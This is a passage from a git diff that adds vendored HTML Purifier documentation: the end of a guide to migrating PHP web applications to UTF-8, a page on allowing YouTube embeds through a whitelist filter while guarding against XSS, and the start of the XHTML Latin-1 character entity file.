+entities like <code>&amp;theta;</code> will leave users who are
+uninterested in learning HTML scratching their heads. On the other
+hand, if they see &theta; in an edit box, they'll know that it's a
+special character, and treat it accordingly, even if they don't know
+how to write that character themselves.</p>
+
+<blockquote class="aside"><p>Wikipedia is a great case study for
+an application that originally used ISO-8859-1 but switched to UTF-8
+when it became far to cumbersome to support foreign languages. Bots
+will now actually go through articles and convert character entities
+to their corresponding real characters for the sake of user-friendliness
+and searchability. See
+<a href="http://meta.wikimedia.org/wiki/Help:Special_characters">Meta's
+page on special characters</a> for more details.
+</p></blockquote>
+
+<h3 id="whyutf8-forms">Forms</h3>
+
+<p>While we're on the tack of users, how do non-UTF-8 web forms deal
+with characters that are outside of their character set? Rather than
+discuss what UTF-8 does right, we're going to show what could go wrong
+if you didn't use UTF-8 and people tried to use characters outside
+of your character encoding.</p>
+
+<p>The troubles are large, extensive, and extremely difficult to fix (or,
+at least, difficult enough that if you had the time and resources to invest
+in doing the fix, you would be probably better off migrating to UTF-8).
+There are two types of form submission: <code>application/x-www-form-urlencoded</code>
+which is used for GET and by default for POST, and <code>multipart/form-data</code>
+which may be used by POST, and is required when you want to upload
+files.</p>
+
+<p>The following is a summarization of notes from
+<a href="http://web.archive.org/web/20060427015200/ppewww.ph.gla.ac.uk/~flavell/charset/form-i18n.html">
+<code>FORM</code> submission and i18n</a>. That document contains lots
+of useful information, but is written in a rambly manner, so
+here I try to get right to the point. (Note: the original has
+disappeared off the web, so I am linking to the Web Archive copy.)</p>
+
+<h4 id="whyutf8-forms-urlencoded"><code>application/x-www-form-urlencoded</code></h4>
+
+<p>This is the Content-Type that GET requests must use, and POST requests
+use by default. It involves the ubiquitous percent encoding format that
+looks something like: <code>%C3%86</code>. There is no official way of
+determining the character encoding of such a request, since the percent
+encoding operates on a byte level, so it is usually assumed that it
+is the same as the encoding the page containing the form was submitted
+in. (<a href="http://tools.ietf.org/html/rfc3986#section-2.5">RFC 3986</a>
+recommends that textual identifiers be translated to UTF-8; however, browser
+compliance is spotty.) You'll run into very few problems
+if you only use characters in the character encoding you chose.</p>
+
+<p>However, once you start adding characters outside of your encoding
+(and this is a lot more common than you may think: take curly
+&quot;smart&quot; quotes from Microsoft as an example),
+a whole manner of strange things start to happen. Depending on the
+browser you're using, they might:</p>
+
+<ul>
+ <li>Replace the unsupported characters with useless question marks,</li>
+ <li>Attempt to fix the characters (example: smart quotes to regular quotes),</li>
+ <li>Replace the character with a character entity reference, or</li>
+ <li>Send it anyway as a different character encoding mixed in
+ with the original encoding (usually Windows-1252 rather than
+ iso-8859-1 or UTF-8 interspersed in 8-bit)</li>
+</ul>
+
+<p>To properly guard against these behaviors, you'd have to sniff out
+the browser agent, compile a database of different behaviors, and
+take appropriate conversion action against the string (disregarding
+a spate of extremely mysterious, random and devastating bugs Internet
+Explorer manifests every once in a while). Or you could
+use UTF-8 and rest easy knowing that none of this could possibly happen
+since UTF-8 supports every character.</p>
+
+<h4 id="whyutf8-forms-multipart"><code>multipart/form-data</code></h4>
+
+<p>Multipart form submission takes away a lot of the ambiguity
+that percent-encoding had: the server now can explicitly ask for
+certain encodings, and the client can explicitly tell the server
+during the form submission what encoding the fields are in.</p>
+
+<p>There are two ways you go with this functionality: leave it
+unset and have the browser send in the same encoding as the page,
+or set it to UTF-8 and then do another conversion server-side.
+Each method has deficiencies, especially the former.</p>
+
+<p>If you tell the browser to send the form in the same encoding as
+the page, you still have the trouble of what to do with characters
+that are outside of the character encoding's range. The behavior, once
+again, varies: Firefox 2.0 converts them to character entity references
+while Internet Explorer 7.0 mangles them beyond intelligibility. For
+serious internationalization purposes, this is not an option.</p>
+
+<p>The other possibility is to set Accept-Encoding to UTF-8, which
+begs the question: Why aren't you using UTF-8 for everything then?
+This route is more palatable, but there's a notable caveat: your data
+will come in as UTF-8, so you will have to explicitly convert it into
+your favored local character encoding.</p>
+
+<p>I object to this approach on idealogical grounds: you're
+digging yourself deeper into
+the hole when you could have been converting to UTF-8
+instead. And, of course, you can't use this method for GET requests.</p>
+
+<h3 id="whyutf8-support">Well supported</h3>
+
+<p>Almost every modern browser in the wild today has full UTF-8 and Unicode
+support: the number of troublesome cases can be counted with the
+fingers of one hand, and these browsers usually have trouble with
+other character encodings too. Problems users usually encounter stem
+from the lack of appropriate fonts to display the characters (once
+again, this applies to all character encodings and HTML entities) or
+Internet Explorer's lack of intelligent font picking (which can be
+worked around).</p>
+
+<p>We will go into more detail about how to deal with edge cases in
+the browser world in the Migration section, but rest assured that
+converting to UTF-8, if done correctly, will not result in users
+hounding you about broken pages.</p>
+
+<h3 id="whyutf8-htmlpurifier">HTML Purifier</h3>
+
+<p>And finally, we get to HTML Purifier. HTML Purifier is built to
+deal with UTF-8: any indications otherwise are the result of an
+encoder that converts text from your preferred encoding to UTF-8, and
+back again. HTML Purifier never touches anything else, and leaves
+it up to the module iconv to do the dirty work.</p>
+
+<p>This approach, however, is not perfect. iconv is blithely unaware
+of HTML character entities. HTML Purifier, in order to
+protect against sophisticated escaping schemes, normalizes all character
+and numeric entity references before processing the text. This leads to
+one important ramification:</p>
+
+<p><strong>Any character that is not supported by the target character
+set, regardless of whether or not it is in the form of a character
+entity reference or a raw character, will be silently ignored.</strong></p>
+
+<p>Example of this principle at work: say you have <code>&amp;theta;</code>
+in your HTML, but the output is in Latin-1 (which, understandably,
+does not understand Greek), the following process will occur (assuming you've
+set the encoding correctly using %Core.Encoding):</p>
+
+<ul>
+ <li>The <code>Encoder</code> will transform the text from ISO 8859-1 to UTF-8
+ (note that theta is preserved here since it doesn't actually use
+ any non-ASCII characters): <code>&amp;theta;</code></li>
+ <li>The <code>EntityParser</code> will transform all named and numeric
+ character entities to their corresponding raw UTF-8 equivalents:
+ <code>&theta;</code></li>
+ <li>HTML Purifier processes the code: <code>&theta;</code></li>
+ <li>The <code>Encoder</code> now transforms the text back from UTF-8
+ to ISO 8859-1. Since Greek is not supported by ISO 8859-1, it
+ will be either ignored or replaced with a question mark:
+ <code>?</code></li>
+</ul>
+
+<p>This behaviour is quite unsatisfactory. It is a deal-breaker for
+international applications, and it can be mildly annoying for the provincial
+soul who occasionally needs a special character. Since 1.4.0, HTML
+Purifier has provided a slightly more palatable workaround using
+%Core.EscapeNonASCIICharacters. The process now looks like:</p>
+
+<ul>
+ <li>The <code>Encoder</code> transforms encoding to UTF-8: <code>&amp;theta;</code></li>
+ <li>The <code>EntityParser</code> transforms entities: <code>&theta;</code></li>
+ <li>HTML Purifier processes the code: <code>&theta;</code></li>
+ <li>The <code>Encoder</code> replaces all non-ASCII characters
+ with numeric entity reference: <code>&amp;#952;</code></li>
+ <li>For good measure, <code>Encoder</code> transforms encoding back to
+ original (which is strictly unnecessary for 99% of encodings
+ out there): <code>&amp;#952;</code> (remember, it's all ASCII!)</li>
+</ul>
+
+<p>...which means that this is only good for an occasional foray into
+the land of Unicode characters, and is totally unacceptable for Chinese
+or Japanese texts. The even bigger kicker is that, supposing the
+input encoding was actually ISO-8859-7, which <em>does</em> support
+theta, the character would get converted into a character entity reference
+anyway! (The Encoder does not discriminate).</p>
+
+<p>The current functionality is about where HTML Purifier will be for
+the rest of eternity. HTML Purifier could attempt to preserve the original
+form of the character references so that they could be substituted back in, only the
+DOM extension kills them off irreversibly. HTML Purifier could also attempt
+to be smart and only convert non-ASCII characters that weren't supported
+by the target encoding, but that would require reimplementing iconv
+with HTML awareness, something I will not do.</p>
+
+<p>So there: either it's UTF-8 or crippled international support. Your pick! (and I'm
+not being sarcastic here: some people could care less about other languages).</p>
+
+<h2 id="migrate">Migrate to UTF-8</h2>
+
+<p>So, you've decided to bite the bullet, and want to migrate to UTF-8.
+Note that this is not for the faint-hearted, and you should expect
+the process to take longer than you think it will take.</p>
+
+<p>The general idea is that you convert all existing text to UTF-8,
+and then you set all the headers and META tags we discussed earlier
+to UTF-8. There are many ways going about doing this: you could
+write a conversion script that runs through the database and re-encodes
+everything as UTF-8 or you could do the conversion on the fly when someone
+reads the page. The details depend on your system, but I will cover
+some of the more subtle points of migration that may trip you up.</p>
+
+<h3 id="migrate-db">Configuring your database</h3>
+
+<p>Most modern databases, the most prominent open-source ones being MySQL
+4.1+ and PostgreSQL, support character encodings. If you're switching
+to UTF-8, logically speaking, you'd want to make sure your database
+knows about the change too. There are some caveats though:</p>
+
+<h4 id="migrate-db-legit">Legit method</h4>
+
+<p>Standardization in terms of SQL syntax for specifying character
+encodings is notoriously spotty. Refer to your respective database's
+documentation on how to do this properly.</p>
+
+<p>For <a href="http://dev.mysql.com/doc/refman/5.0/en/charset-conversion.html">MySQL</a>, <code>ALTER</code> will magically perform the
+character encoding conversion for you. However, you have
+to make sure that the text inside the column is what is says it is:
+if you had put Shift-JIS in an ISO 8859-1 column, MySQL will irreversibly mangle
+the text when you try to convert it to UTF-8. You'll have to convert
+it to a binary field, convert it to a Shift-JIS field (the real encoding),
+and then finally to UTF-8. Many a website had pages irreversibly mangled
+because they didn't realize that they'd been deluding themselves about
+the character encoding all along; don't become the next victim.</p>
+
+<p>For <a href="http://www.postgresql.org/docs/8.2/static/multibyte.html">PostgreSQL</a>, there appears to be no direct way to change the
+encoding of a database (as of 8.2). You will have to dump the data, and then reimport
+it into a new table. Make sure that your client encoding is set properly:
+this is how PostgreSQL knows to perform an encoding conversion.</p>
+
+<p>Many times, you will be also asked about the &quot;collation&quot; of
+the new column. Collation is how a DBMS sorts text, like ordering
+B, C and A into A, B and C (the problem gets surprisingly complicated
+when you get to languages like Thai and Japanese). If in doubt,
+going with the default setting is usually a safe bet.</p>
+
+<p>Once the conversion is all said and done, you still have to remember
+to set the client encoding (your encoding) properly on each database
+connection using <code>SET NAMES</code> (which is standard SQL and is
+usually supported).</p>
+
+<h4 id="migrate-db-binary">Binary</h4>
+
+<p>Due to the aforementioned compatibility issues, a more interoperable
+way of storing UTF-8 text is to stuff it in a binary datatype.
+<code>CHAR</code> becomes <code>BINARY</code>, <code>VARCHAR</code> becomes
+<code>VARBINARY</code> and <code>TEXT</code> becomes <code>BLOB</code>.
+Doing so can save you some huge headaches:</p>
+
+<ul>
+ <li>The syntax for binary data types is very portable,</li>
+ <li>MySQL 4.0 has <em>no</em> support for character encodings, so
+ if you want to support it you <em>have</em> to use binary,</li>
+ <li>MySQL, as of 5.1, has no support for four byte UTF-8 characters,
+ which represent characters beyond the basic multilingual
+ plane, and</li>
+ <li>You will never have to worry about your DBMS being too smart
+ and attempting to convert your text when you don't want it to.</li>
+</ul>
+
+<p>MediaWiki, a very prominent international application, uses binary fields
+for storing their data because of point three.</p>
+
+<p>There are drawbacks, of course:</p>
+
+<ul>
+ <li>Database tools like PHPMyAdmin won't be able to offer you inline
+ text editing, since it is declared as binary,</li>
+ <li>It's not semantically correct: it's really text not binary
+ (lying to the database),</li>
+ <li>Unless you use the not-very-portable wizardry mentioned above,
+ you have to change the encoding yourself (usually, you'd do
+ it on the fly), and</li>
+ <li>You will not have collation.</li>
+</ul>
+
+<p>Choose based on your circumstances.</p>
+
+<h3 id="migrate-editor">Text editor</h3>
+
+<p>For more flat-file oriented systems, you will often be tasked with
+converting reams of existing text and HTML files into UTF-8, as well as
+making sure that all new files uploaded are properly encoded. Once again,
+I can only point vaguely in the right direction for converting your
+existing files: make sure you backup, make sure you use
+<a href="http://php.net/ref.iconv">iconv</a>(), and
+make sure you know what the original character encoding of the files
+is (or are, depending on the tidiness of your system).</p>
+
+<p>However, I can proffer more specific advice on the subject of
+text editors. Many text editors have notoriously spotty Unicode support.
+To find out how your editor is doing, you can check out <a
+href="http://www.alanwood.net/unicode/utilities_editors.html">this list</a>
+or <a href="http://en.wikipedia.org/wiki/Comparison_of_text_editors#Encoding_support">Wikipedia's list.</a>
+I personally use Notepad++, which works like a charm when it comes to UTF-8.
+Usually, you will have to <strong>explicitly</strong> tell the editor through some dialogue
+(usually Save as or Format) what encoding you want it to use. An editor
+will often offer &quot;Unicode&quot; as a method of saving, which is
+ambiguous. Make sure you know whether or not they really mean UTF-8
+or UTF-16 (which is another flavor of Unicode).</p>
+
+<p>The two things to look out for are whether or not the editor
+supports <strong>font mixing</strong> (multiple
+fonts in one document) and whether or not it adds a <strong>BOM</strong>.
+Font mixing is important because fonts rarely have support for every
+language known to mankind: in order to be flexible, an editor must
+be able to take a little from here and a little from there, otherwise
+all your Chinese characters will come as nice boxes. We'll discuss
+BOM below.</p>
+
+<h3 id="migrate-bom">Byte Order Mark (headers already sent!)</h3>
+
+<p>The BOM, or <a href="http://en.wikipedia.org/wiki/Byte_Order_Mark">Byte
+Order Mark</a>, is a magical, invisible character placed at
+the beginning of UTF-8 files to tell people what the encoding is and
+what the endianness of the text is. It is also unnecessary.</p>
+
+<p>Because it's invisible, it often
+catches people by surprise when it starts doing things it shouldn't
+be doing. For example, this PHP file:</p>
+
+<pre><strong>BOM</strong>&lt;?php
+header('Location: index.php');
+?&gt;</pre>
+
+<p>...will fail with the all too familiar <strong>Headers already sent</strong>
+PHP error. And because the BOM is invisible, this culprit will go unnoticed.
+My suggestion is to only use ASCII in PHP pages, but if you must, make
+sure the page is saved WITHOUT the BOM.</p>
+
+<blockquote class="aside">
+ <p>The headers the error is referring to are <strong>HTTP headers</strong>,
+ which are sent to the browser before any HTML to tell it various
+ information. The moment any regular text (and yes, a BOM counts as
+ ordinary text) is output, the headers must be sent, and you are
+ not allowed to send anymore. Thus, the error.</p>
+</blockquote>
+
+<p>If you are reading in text files to insert into the middle of another
+page, it is strongly advised (but not strictly necessary) that you replace out the UTF-8 byte
+sequence for BOM <code>&quot;\xEF\xBB\xBF&quot;</code> before inserting it in,
+via:</p>
+
+<pre>$text = str_replace(&quot;\xEF\xBB\xBF&quot;, '', $text);</pre>
+
+<h3 id="migrate-fonts">Fonts</h3>
+
+<p>Generally speaking, people who are having trouble with fonts fall
+into two categories:</p>
+
+<ul>
+<li>Those who want to
+use an extremely obscure language for which there is very little
+support even among native speakers of the language, and</li>
+<li>Those where the primary language of the text is
+well-supported but there are occasional characters
+that aren't supported.</li>
+</ul>
+
+<p>Yes, there's always a chance where an English user happens across
+a Sinhalese website and doesn't have the right font. But an English user
+who happens not to have the right fonts probably has no business reading Sinhalese
+anyway. So we'll deal with the other two edge cases.</p>
+
+<h4 id="migrate-fonts-obscure">Obscure scripts</h4>
+
+<p>If you run a Bengali website, you may get comments from users who
+would like to read your website but get heaps of question marks or
+other meaningless characters. Fixing this problem requires the
+installation of a font or language pack which is often highly
+dependent on what the language is. <a href="http://bn.wikipedia.org/wiki/%E0%A6%89%E0%A6%87%E0%A6%95%E0%A6%BF%E0%A6%AA%E0%A7%87%E0%A6%A1%E0%A6%BF%E0%A6%AF%E0%A6%BC%E0%A6%BE:Bangla_script_display_and_input_help">Here is an example</a>
+of such a help file for the Bengali language; I am sure there are
+others out there too. You just have to point users to the appropriate
+help file.</p>
+
+<h4 id="migrate-fonts-occasional">Occasional use</h4>
+
+<p>A prime example of when you'll see some very obscure Unicode
+characters embedded in what otherwise would be very bland ASCII are
+letters of the
+<a href="http://en.wikipedia.org/wiki/International_Phonetic_Alphabet">International
+Phonetic Alphabet (IPA)</a>, use to designate pronunciations in a very standard
+manner (you probably see them all the time in your dictionary). Your
+average font probably won't have support for all of the IPA characters
+like &#664; (bilabial click) or &#658; (voiced postalveolar fricative).
+So what's a poor browser to do? Font mix! Smart browsers like Mozilla Firefox
+and Internet Explorer 7 will borrow glyphs from other fonts in order
+to make sure that all the characters display properly.</p>
+
+<p>But what happens when the browser isn't smart and happens to be the
+most widely used browser in the entire world? Microsoft IE 6
+is not smart enough to borrow from other fonts when a character isn't
+present, so more often than not you'll be slapped with a nice big &#65533;.
+To get things to work, MSIE 6 needs a little nudge. You could configure it
+to use a different font to render the text, but you can achieve the same
+effect by selectively changing the font for blocks of special characters
+to known good Unicode fonts.</p>
+
+<p>Fortunately, the folks over at Wikipedia have already done all the
+heavy lifting for you. Get the CSS from the horses mouth here:
+<a href="http://en.wikipedia.org/wiki/MediaWiki:Common.css">Common.css</a>,
+and search for &quot;.IPA&quot; There are also a smattering of
+other classes you can use for other purposes, check out
+<a href="http://meta.wikimedia.org/wiki/Help:Special_characters#Displaying_Special_Characters">this page</a>
+for more details. For you lazy ones, this should work:</p>
+
+<pre>.Unicode {
+ font-family: Code2000, &quot;TITUS Cyberbit Basic&quot;, &quot;Doulos SIL&quot;,
+ &quot;Chrysanthi Unicode&quot;, &quot;Bitstream Cyberbit&quot;,
+ &quot;Bitstream CyberBase&quot;, Thryomanes, Gentium, GentiumAlt,
+ &quot;Lucida Grande&quot;, &quot;Arial Unicode MS&quot;, &quot;Microsoft Sans Serif&quot;,
+ &quot;Lucida Sans Unicode&quot;;
+ font-family /**/:inherit; /* resets fonts for everyone but IE6 */
+}</pre>
+
+<p>The standard usage goes along the lines of <code>&lt;span class=&quot;Unicode&quot;&gt;Crazy
+Unicode stuff here&lt;/span&gt;</code>. Characters in the
+<a href="http://en.wikipedia.org/wiki/Windows_Glyph_List_4">Windows Glyph List</a>
+usually don't need to be fixed, but for anything else you probably
+want to play it safe. Unless, of course, you don't care about IE6
+users.</p>
+
+<h3 id="migrate-variablewidth">Dealing with variable width in functions</h3>
+
+<p>When people claim that PHP6 will solve all our Unicode problems, they're
+misinformed. It will not fix any of the aforementioned troubles. It will,
+however, fix the problem we are about to discuss: processing UTF-8 text
+in PHP.</p>
+
+<p>PHP (as of PHP5) is blithely unaware of the existence of UTF-8 (with a few
+notable exceptions). Sometimes, this will cause problems, other times,
+this won't. So far, we've avoided discussing the architecture of
+UTF-8, so, we must first ask, what is UTF-8? Yes, it supports Unicode,
+and yes, it is variable width. Other traits:</p>
+
+<ul>
+ <li>Every character's byte sequence is unique and will never be found
+ inside the byte sequence of another character,</li>
+ <li>UTF-8 may use up to four bytes to encode a character,</li>
+ <li>UTF-8 text must be checked for well-formedness,</li>
+ <li>Pure ASCII is also valid UTF-8, and</li>
+ <li>Binary sorting will sort UTF-8 in the same order as Unicode.</li>
+</ul>
+
+<p>Each of these traits affect different domains of text processing
+in different ways. It is beyond the scope of this document to explain
+what precisely these implications are. PHPWact provides
+a very good <a href="http://www.phpwact.org/php/i18n/utf-8">reference document</a>
+on what to expect from each function, although coverage is spotty in
+some areas. Their more general notes on
+<a href="http://www.phpwact.org/php/i18n/charsets">character sets</a>
+are also worth looking at for information on UTF-8. Some rules of thumb
+when dealing with Unicode text:</p>
+
+<ul>
+ <li>Do not EVER use functions that:<ul>
+ <li>...convert case (strtolower, strtoupper, ucfirst, ucwords)</li>
+ <li>...claim to be case-insensitive (str_ireplace, stristr, strcasecmp)</li>
+ </ul></li>
+ <li>Think twice before using functions that:<ul>
+ <li>...count characters (strlen will return bytes, not characters;
+ str_split and word_wrap may corrupt)</li>
+ <li>...convert characters to entity references (UTF-8 doesn't need entities)</li>
+ <li>...do very complex string processing (*printf)</li>
+ </ul></li>
+</ul>
+
+<p>Note: this list applies to UTF-8 encoded text only: if you have
+a string that you are 100% sure is ASCII, be my guest and use
+<code>strtolower</code> (HTML Purifier uses this function.)</p>
+
+<p>Regardless, always think in bytes, not characters. If you use strpos()
+to find the position of a character, it will be in bytes, but this
+usually won't matter since substr() also operates with byte indices!</p>
+
+<p>You'll also need to make sure your UTF-8 is well-formed and will
+probably need replacements for some of these functions. I recommend
+using Harry Fuecks' <a href="http://phputf8.sourceforge.net/">PHP
+UTF-8</a> library, rather than use mb_string directly. HTML Purifier
+also defines a few useful UTF-8 compatible functions: check out
+<code>Encoder.php</code> in the <code>/library/HTMLPurifier/</code>
+directory.</p>
+
+<h2 id="externallinks">Further Reading</h2>
+
+<p>Well, that's it. Hopefully this document has served as a very
+practical springboard into knowledge of how UTF-8 works. You may have
+decided that you don't want to migrate yet: that's fine, just know
+what will happen to your output and what bug reports you may receive.</p>
+
+<p>Many other developers have already discussed the subject of Unicode,
+UTF-8 and internationalization, and I would like to defer to them for
+a more in-depth look into character sets and encodings.</p>
+
+<ul>
+ <li><a href="http://www.joelonsoftware.com/articles/Unicode.html">
+ The Absolute Minimum Every Software Developer Absolutely,
+ Positively Must Know About Unicode and Character Sets
+ (No Excuses!)</a> by Joel Spolsky, provides a <em>very</em>
+ good high-level look at Unicode and character sets in general.</li>
+ <li><a href="http://en.wikipedia.org/wiki/UTF-8">UTF-8 on Wikipedia</a>,
+ provides a lot of useful details into the innards of UTF-8, although
+ it may be a little off-putting to people who don't know much
+ about Unicode to begin with.</li>
+</ul>
+
+</body>
+</html>
+
+<!-- vim: et sw=4 sts=4
+-->
diff --git a/vendor/ezyang/htmlpurifier/docs/enduser-youtube.html b/vendor/ezyang/htmlpurifier/docs/enduser-youtube.html
new file mode 100644
index 000000000..87a36b9aa
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/enduser-youtube.html
@@ -0,0 +1,153 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<meta name="description" content="Explains how to safely allow the embedding of flash from trusted sites in HTML Purifier." />
+<link rel="stylesheet" type="text/css" href="./style.css" />
+
+<title>Embedding YouTube Videos - HTML Purifier</title>
+
+</head><body>
+
+<h1 class="subtitled">Embedding YouTube Videos</h1>
+<div class="subtitle">...as well as other dangerous active content</div>
+
+<div id="filing">Filed under End-User</div>
+<div id="index">Return to the <a href="index.html">index</a>.</div>
+<div id="home"><a href="http://htmlpurifier.org/">HTML Purifier</a> End-User Documentation</div>
+
+<p>Clients like their YouTube videos. It gives them a warm fuzzy feeling when
+they see a neat little embedded video player on their websites that can play
+the latest clips from their documentary &quot;Fido and the Bones of Spring&quot;.
+All joking aside, the ability to embed YouTube videos or other active
+content in their pages is something that a lot of people like.</p>
+
+<p>This is a <em>bad</em> idea. The moment you embed anything untrusted,
+you will definitely be slammed by a manner of nasties that can be
+embedded in things from your run of the mill Flash movie to
+<a href="http://blog.spywareguide.com/2006/12/myspace_phish_attack_leads_use.html">Quicktime movies</a>.
+Even <code>img</code> tags, which HTML Purifier allows by default, can be
+dangerous. Be distrustful of anything that tells a browser to load content
+from another website automatically.</p>
+
+<p>Luckily for us, however, whitelisting saves the day. Sure, letting users
+include any old random flash file could be dangerous, but if it's
+from a specific website, it probably is okay. If no amount of pleading will
+convince the people upstairs that they should just settle with just linking
+to their movies, you may find this technique very useful.</p>
+
+<h2>Looking in</h2>
+
+<p>Below is custom code that allows users to embed
+YouTube videos. This is not favoritism: this trick can easily be adapted for
+other forms of embeddable content.</p>
+
+<p>Usually, websites like YouTube give us boilerplate code that you can insert
+into your documents. YouTube's code goes like this:</p>
+
+<pre>
+&lt;object width=&quot;425&quot; height=&quot;350&quot;&gt;
+ &lt;param name=&quot;movie&quot; value=&quot;http://www.youtube.com/v/AyPzM5WK8ys&quot; /&gt;
+ &lt;param name=&quot;wmode&quot; value=&quot;transparent&quot; /&gt;
+ &lt;embed src=&quot;http://www.youtube.com/v/AyPzM5WK8ys&quot;
+ type=&quot;application/x-shockwave-flash&quot;
+ wmode=&quot;transparent&quot; width=&quot;425&quot; height=&quot;350&quot; /&gt;
+&lt;/object&gt;
+</pre>
+
+<p>There are two things to note about this code:</p>
+
+<ol>
+ <li><code>&lt;embed&gt;</code> is not recognized by W3C, so if you want
+ standards-compliant code, you'll have to get rid of it.</li>
+ <li>The code is exactly the same for all instances, except for the
+ identifier <tt>AyPzM5WK8ys</tt> which tells us which movie file
+ to retrieve.</li>
+</ol>
+
+<p>What point 2 means is that if we have code like <code>&lt;span
+class=&quot;youtube-embed&quot;&gt;AyPzM5WK8ys&lt;/span&gt;</code> your
+application can reconstruct the full object from this small snippet that
+passes through HTML Purifier <em>unharmed</em>.
+<a href="http://repo.or.cz/w/htmlpurifier.git?a=blob;hb=HEAD;f=library/HTMLPurifier/Filter/YouTube.php">Show me the code!</a></p>
+
+<p>And the corresponding usage:</p>
+
+<pre>&lt;?php
+ $config-&gt;set('Filter.YouTube', true);
+?&gt;</pre>
+
+<p>There is a bit going in the two code snippets, so let's explain.</p>
+
+<ol>
+ <li>This is a Filter object, which intercepts the HTML that is
+ coming into and out of the purifier. You can add as many
+ filter objects as you like. <code>preFilter()</code>
+ processes the code before it gets purified, and <code>postFilter()</code>
+ processes the code afterwards. So, we'll use <code>preFilter()</code> to
+ replace the object tag with a <code>span</code>, and <code>postFilter()</code>
+ to restore it.</li>
+ <li>The first preg_replace call replaces any YouTube code users may have
+ embedded into the benign span tag. Span is used because it is inline,
+ and objects are inline too. We are very careful to be extremely
+ restrictive on what goes inside the span tag, as if an errant code
+ gets in there it could get messy.</li>
+ <li>The HTML is then purified as usual.</li>
+ <li>Then, another preg_replace replaces the span tag with a fully fledged
+ object. Note that the embed is removed, and, in its place, a data
+ attribute was added to the object. This makes the tag standards
+ compliant! It also breaks Internet Explorer, so we add in a bit of
+ conditional comments with the old embed code to make it work again.
+ It's all quite convoluted but works.</li>
+</ol>
+
+<h2>Warning</h2>
+
+<p>There are a number of possible problems with the code above, depending
+on how you look at it.</p>
+
+<h3>Cannot change width and height</h3>
+
+<p>The width and height of the final YouTube movie cannot be adjusted. This
+is because I am lazy. If you really insist on letting users change the size
+of the movie, what you need to do is package up the attributes inside the
+span tag (along with the movie ID). It gets complicated though: a malicious
+user can specify an outrageously large height and width and attempt to crash
+the user's operating system/browser. You need to either cap it by limiting
+the amount of digits allowed in the regex or using a callback to check the
+number.</p>
+
+<h3>Trusts media's host's security</h3>
+
+<p>By allowing this code onto our website, we are trusting that YouTube has
+tech-savvy enough people not to allow their users to inject malicious
+code into the Flash files. An exploit on YouTube means an exploit on your
+site. Even though YouTube is run by the reputable Google, it
+<a href="http://ha.ckers.org/blog/20061213/google-xss-vuln/">doesn't</a>
+mean they are
+<a href="http://ha.ckers.org/blog/20061208/xss-in-googles-orkut/">invulnerable.</a>
+You're putting a certain measure of the job on an external provider (just as
+you have by entrusting your user input to HTML Purifier), and
+it is important that you are cognizant of the risk.</p>
+
+<h3>Poorly written adaptations compromise security</h3>
+
+<p>This should go without saying, but if you're going to adapt this code
+for Google Video or the like, make sure you do it <em>right</em>. It's
+extremely easy to allow a character too many in <code>postFilter()</code> and
+suddenly you're introducing XSS into HTML Purifier's XSS free output. HTML
+Purifier may be well written, but it cannot guard against vulnerabilities
+introduced after it has finished.</p>
+
+<h2>Help out!</h2>
+
+<p>If you write a filter for your favorite video destination (or anything
+like that, for that matter), send it over and it might get included
+with the core!</p>
+
+</body>
+</html>
+
+<!-- vim: et sw=4 sts=4
+-->
diff --git a/vendor/ezyang/htmlpurifier/docs/entities/xhtml-lat1.ent b/vendor/ezyang/htmlpurifier/docs/entities/xhtml-lat1.ent
new file mode 100644
index 000000000..ffee223eb
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/entities/xhtml-lat1.ent
@@ -0,0 +1,196 @@
+<!-- Portions (C) International Organization for Standardization 1986
+ Permission to copy in any form is granted for use with
+ conforming SGML systems and applications as defined in
+ ISO 8879, provided this notice is included in all copies.
+-->
+<!-- Character entity set. Typical invocation:
+ <!ENTITY % HTMLlat1 PUBLIC
+ "-//W3C//ENTITIES Latin 1 for XHTML//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml-lat1.ent">
+ %HTMLlat1;
+-->
+
+<!ENTITY nbsp "&#160;"> <!-- no-break space = non-breaking space,
+ U+00A0 ISOnum -->
+<!ENTITY iexcl "&#161;"> <!-- inverted exclamation mark, U+00A1 ISOnum -->
+<!ENTITY cent "&#162;"> <!-- cent sign, U+00A2 ISOnum -->
+<!ENTITY pound "&#163;"> <!-- pound sign, U+00A3 ISOnum -->
+<!ENTITY curren "&#164;"> <!-- currency sign, U+00A4 ISOnum -->
+<!ENTITY yen "&#165;"> <!-- yen sign = yuan sign, U+00A5 ISOnum -->
+<!ENTITY brvbar "&#166;"> <!-- broken bar = broken vertical bar,
+ U+00A6 ISOnum -->
+<!ENTITY sect "&#167;"> <!-- section sign, U+00A7 ISOnum -->
+<!ENTITY uml "&#168;"> <!-- diaeresis = spacing diaeresis,
+ U+00A8 ISOdia -->
+<!ENTITY copy "&#169;"> <!-- copyright sign, U+00A9 ISOnum -->
+<!ENTITY ordf "&#170;"> <!-- feminine ordinal indicator, U+00AA ISOnum -->
+<!ENTITY laquo "&#171;"> <!-- left-pointing double angle quotation mark
+ = left pointing guillemet, U+00AB ISOnum -->
+<!ENTITY not "&#172;"> <!-- not sign = angled dash,
+ U+00AC ISOnum -->
+<!ENTITY shy "&#173;"> <!-- soft hyphen = discretionary hyphen,
+ U+00AD ISOnum -->
+<!ENTITY reg "&#174;"> <!-- registered sign = registered trade mark sign,
+ U+00AE ISOnum -->
+<!ENTITY macr "&#175;"> <!-- macron = spacing macron = overline
+ = APL overbar, U+00AF ISOdia -->
+<!ENTITY deg "&#176;"> <!-- degree sign, U+00B0 ISOnum -->
+<!ENTITY plusmn "&#177;"> <!-- plus-minus sign = plus-or-minus sign,
+ U+00B1 ISOnum -->
+<!ENTITY sup2 "&#178;"> <!-- superscript two = superscript digit two
+ = squared, U+00B2 ISOnum -->
+<!ENTITY sup3 "&#179;"> <!-- superscript three = superscript digit three
+ = cubed, U+00B3 ISOnum -->
+<!ENTITY acute "&#180;"> <!-- acute accent = spacing acute,
+ U+00B4 ISOdia -->
+<!ENTITY micro "&#181;"> <!-- micro sign, U+00B5 ISOnum -->
+<!ENTITY para "&#182;"> <!-- pilcrow sign = paragraph sign,
+ U+00B6 ISOnum -->
+<!ENTITY middot "&#183;"> <!-- middle dot = Georgian comma
